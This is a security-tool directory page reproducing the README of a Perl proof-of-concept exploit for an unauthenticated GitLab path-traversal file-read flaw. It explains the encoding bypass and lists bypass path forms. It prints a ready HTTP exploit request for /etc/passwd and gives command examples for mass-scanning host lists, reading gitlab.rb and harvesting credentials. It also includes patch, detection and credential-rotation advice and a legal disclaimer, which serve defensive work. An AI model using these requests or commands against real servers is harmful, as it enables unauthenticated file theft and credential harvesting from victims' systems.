Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-85706 — Perl PoC 利用 CVE-2026-85706,一个未认证的 GitLab 路径遍历漏洞,可实现任意文件读取,并支持批量扫描和凭据收集。 | Kitploit
工具/GitHubGitHub/gabrielunknown/cve-2026-85706
漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用数据泄露信息收集Web安全渗透测试红队
GitHubgabrielunknown/cve-2026-85706

CVE-2026-85706

Perl PoC 利用 CVE-2026-85706,一个未认证的 GitLab 路径遍历漏洞,可实现任意文件读取,并支持批量扫描和凭据收集。

9小时15分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

CVE-2026-85706 — GitLab 未认证任意文件读取

CVSS GitLab License MITRE

仅供授权渗透测试和红队行动使用。 未经授权的使用构成刑事犯罪。请参阅法律声明。


概述

CVE-2026-85706 是 GitLab 社区版和企业版中的一个 CVSS 10.0 路径遍历漏洞,允许完全未认证的攻击者通过单个 HTTP 请求从服务器文件系统读取任意文件。无需凭据、无需令牌、无需用户交互。

  • 披露日期: 2026 年 9 月 10 日
  • 首次观测到利用: 2026 年 9 月 11 日(披露后 6 小时内)
  • 加入 CISA KEV: 2026 年 9 月 11 日
  • 修复版本: GitLab 19.1.8 / 19.2.6 / 19.3.2

受影响版本

分支受影响范围修复版本
18.x18.7 → 19.1.719.1.8
19.219.2.0 → 19.2.519.2.6
19.319.3.0 → 19.3.119.3.2

技术分析

架构背景

GitLab 的 HTTP 栈有三层:

root@kitploit:~
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]

Workhorse 充当智能反向代理:对于某些“上传”端点(仓库提交、文件操作),它会读取 multipart 请求体,将文件数据保存到磁盘,并在转发给 Puma 之前重写请求。关键在于,它会为其代理的每个请求附加一个 JWT 头(Gitlab-Workhorse-Api-Request)。随后 Rails 在执行任何处理逻辑之前验证此 JWT(通过 require_gitlab_workhorse!)。

根本原因 — 三层路径解码不匹配

第一层 — Workhorse 路由匹配: Workhorse 使用编译后的正则表达式匹配请求路径,该正则表达式作用于原始、百分号编码的字节字符串。它在匹配之前不会解码 %XX 序列。

第二层 — Puma/Rack 路由: Puma 在 Grape 路由请求之前解码 %XX 序列。因此对 /repository/%63ommits 的请求会被解码为 /repository/commits 并路由到 CommitsController。

第三层 — 认证前文件读取: 一旦进入 Rails 处理器(该处理器是在没有 Workhorse 的 JWT 的情况下到达的,因为 Workhorse 从未匹配该请求),处理器会从查询字符串中读取 params[:file][:path] 并调用:

root@kitploit:~
File.open(params[:file][:path])   # ← happens BEFORE authentication

绕过技巧

通过对静态路径段中的一个字符进行百分号编码,攻击者的请求可以不被 Workhorse 察觉地溜过去:

路径段原始值绕过形式编码字符
commitscommits%63ommitsc → %63
commitscommits%43ommitsC → %43
repositoryrepository%72epositoryr → %72
filesfiles%66ilesf → %66
(任意)commitscommits/尾部斜杠
(任意)commitscommits.jsonGrape 后缀

内容外泄机制

文件打开后,内容通过 Rack 的查询字符串解析器外泄:

root@kitploit:~
Rack::Utils.parse_nested_query(File.read(path))

如果文件包含一个 % 后面没有跟两个有效的十六进制数字(这在 Ruby 配置文件、CI YAML、日志等中很常见),Rack 会抛出:

root@kitploit:~
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)

这个 400 响应体包含原始文件内容,直到并包括违规字节——向未认证的调用者泄露文件内容。

没有可利用 % 序列的文件(例如干净的 /etc/passwd)在读取后返回 401 或参数验证错误:这充当文件存在性预言机(读取仍然发生在认证之前)。

利用请求结构

root@kitploit:~
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

MITRE ATT&CK 映射

技术ID本 PoC 中的实现
文件和目录发现T1083--scan 模式探测 38 个敏感服务器路径
文件中的凭据T1552.001--harvest 从泄露内容中提取密钥/令牌/密码

安装

依赖要求

模块软件包作用
LWP::UserAgentlibwww-perlHTTP 客户端(必需)
LWP::Protocol::httpslibwww-perlHTTPS 支持(必需)
URI::Escapeliburi-perl查询字符串编码(必需)
Term::ANSIColorlibterm-ansicolor-perl彩色输出(可选)
JSONlibjson-perlJSON 输出模式(可选)
root@kitploit:~
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl

# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON

# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON

# Make executable
chmod +x exploit.pl

使用方法

root@kitploit:~
Usage: exploit.pl [OPTIONS]

Target:
  -u, --url <URL>            GitLab base URL            [default: http://localhost:8080]
  -p, --project-id <ID>      Numeric ID or namespace%2Fproject  [default: 1]
                              Commits API forms: project must be anonymously accessible
                              Files API forms:   any value works (file read precedes auth)

Exploitability check:
  -c, --check                Single-target check (quick by default — ≤9 requests)
      --full                 Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
  -L, --check-host-list <FILE>  Check multiple targets (one URL/host per line)
                             Add --full for the 4-stage sweep on every host

Single-file read:
  -f, --file <PATH>          Absolute server path to read (e.g. /etc/passwd)

Scan mode (T1083 — File and Directory Discovery):
  -s, --scan                 Probe built-in sensitive-file wordlist (38 paths)
  -w, --wordlist <FILE>      Use a custom file list (one absolute path per line)
  -H, --harvest              Extract credentials from leaked content (T1552.001)

Output:
  -o, --output <FILE>        Tee all output to file
  -j, --json                 Emit results as JSON array (requires JSON.pm)
  -v, --verbose              Print full request URL before each probe
      --no-color             Disable ANSI colour output

Connection:
  -t, --timeout <N>          Per-request timeout in seconds  [default: 15]
  -d, --delay <N>            Delay between requests in seconds (float)  [default: 0]
  -r, --retries <N>          Retry count on connection error  [default: 2]
  -A, --user-agent <STR>     Override User-Agent string

快速检查与完整检查

快速(默认)完整(--full)
请求数≤9(1 次预检 + ≤4×2)27+
提前退出是 — 在首次确认差异时停止否 — 扫描全部 22 种形式
版本信息否是
绕过形式4 种代表性 Files API全部 22 种(Commits + Files API)
适用场景快速侦察、大型主机列表渗透测试报告、--file/--scan 准备

快速检查流程:

  1. GET /api/v4/version — 可达性 + GitLab 提示
  2. 对 4 种 Files API 绕过形式中的每一种:探测 /etc/hostname + 唯一金丝雀
  3. canary → 'local file not present' ∧ hostname ≠ canary → 存在漏洞(立即退出)
  4. 所有形式耗尽且无差异 → 不存在漏洞

完整检查流程(--full):

  1. GitLab 检测 + 版本指纹识别
  2. 对照探测(Workhorse 基线)
  3. 全部 22 种绕过形式 × 金丝雀路径
  4. 使用最佳确认形式进行差异确认

--project-id 与检查模式

--project-id 标志可用于所有模式,包括 --check 和 --check-host-list。理解其交互:

绕过组形式项目 ID 依赖
Files API(%66iles、%46iles、re%70ository/files、…)14无 — 根据 CVE 的设计,文件读取先于项目检查。任何 ID(即使不存在)都会产生正确的信号。
Commits API(%63ommits、%43ommits、repository/commits/、…)8必需 — 项目必须存在且可匿名读取。否则返回 project-gate。

实用指南:

  • --check(快速):仅使用 Files API 形式 → 项目 ID 无关紧要。
  • --check --full:测试全部 22 种形式。如果你知道一个公开项目 ID,传入 --project-id <N> 以同时确认 Commits API 形式。
  • --check-host-list:单个 --project-id 很少能映射到所有主机上的公开项目。请省略它。

示例

root@kitploit:~
# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check

# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5  # (default: --project-id 1)

# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full

# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt

# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full

# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json

# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt

# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd

# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest

# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt

# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json

# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v

响应判定

判定含义
leak文件内容通过 Rack 解析错误回显在响应体中
leak-fragment通过参数名片段部分回显内容
read-noecho绕过路径上返回 HTTP 401 — 不明确:要么文件读取发生在认证之前(存在漏洞,内容干净且没有错误的 % 序列),要么认证在读取之前触发(已修补的服务器)。使用 --check 通过差异确认
missing绕过路径有效;到达处理器;文件不存在或不可读
rewriteWorkhorse 拦截了此路径形式 — 绕过失败
project-gateCommits API 拒绝了该项目;尝试 Files API 形式
norouteRails 未路由此路径变体

相比原始 Python PoC 的改进

功能Python PoC本 Perl PoC
绕过路径变体615
批量文件扫描(T1083)✗✓ 内置 38 路径字典
凭据收集(T1552.001)✗✓ 22 种凭据模式
JSON 输出✗✓ --json
文件输出 / tee✗✓ --output
文件存在性预言机消息基础明确、彩色编码
重试逻辑✗✓ 可配置的 --retries
每请求延迟✗✓ --delay(浮点秒)
自定义 User-Agent✗✓ --user-agent
命名空间/项目 ID✗✓ 自动编码 / → %2F
详细模式✗✓ --verbose

修复建议

  1. 立即修补: 升级到 GitLab 19.1.8、19.2.6 或 19.3.2。
  2. 短期措施: 通过网络控制限制对 GitLab 实例的公开访问。
  3. 凭据轮换: 修补后,轮换所有可能已暴露的机密:
    • gitlab.rb 中的 secret_key_base 和 otp_key_base
    • 数据库密码
    • SSH 密钥(/home/git/.ssh/、/root/.ssh/)
    • CI/CD 变量和 runner 注册令牌
    • 部署令牌和个人访问令牌

检测

搜索对 /api/v4/projects/*/repository/ 路径的 POST 或 PUT 请求,其中包含:

  • 百分号编码的静态路径段(%63、%43、%72、%70、%66、%46 等)
  • file.path 查询参数
  • commits 或 files 端点上的尾部斜杠或 .json 格式后缀

参考资料

  • CVE Record — cve.org
  • GitLab Patch Release 19.3.2
  • The Hacker News — CVSS 10 coverage
  • Forkast News — Technical breakdown
  • Security Affairs — Active exploitation
  • Python PoC — guneykabel
  • MITRE T1083 — File and Directory Discovery
  • MITRE T1552.001 — Credentials In Files

法律声明

本工具严格用于:

  • 授权渗透测试项目(需要书面许可)
  • 合同范围内的红队行动
  • 受控、隔离实验室环境中的安全研究
  • CTF(Capture The Flag)竞赛
  • 防御目的:理解漏洞以检测/缓解它

未经授权使用针对你不拥有或缺乏明确书面授权测试的系统,在几乎所有司法管辖区都是非法的,并可能根据计算机滥用法(CFAA、Computer Misuse Act 等)导致刑事起诉。

本工具的作者和贡献者对因本软件造成的任何误用或损害不承担任何责任。


致谢

  • 原始 Python PoC: guneykabel — 演示核心绕过技术的初始概念验证
  • CVE 分配与披露: GitLab 安全团队
  • 本 Perl PoC: 扩展的多形式检测引擎、凭据收集、批量扫描、JSON 管道输出和差异确认逻辑
下载工具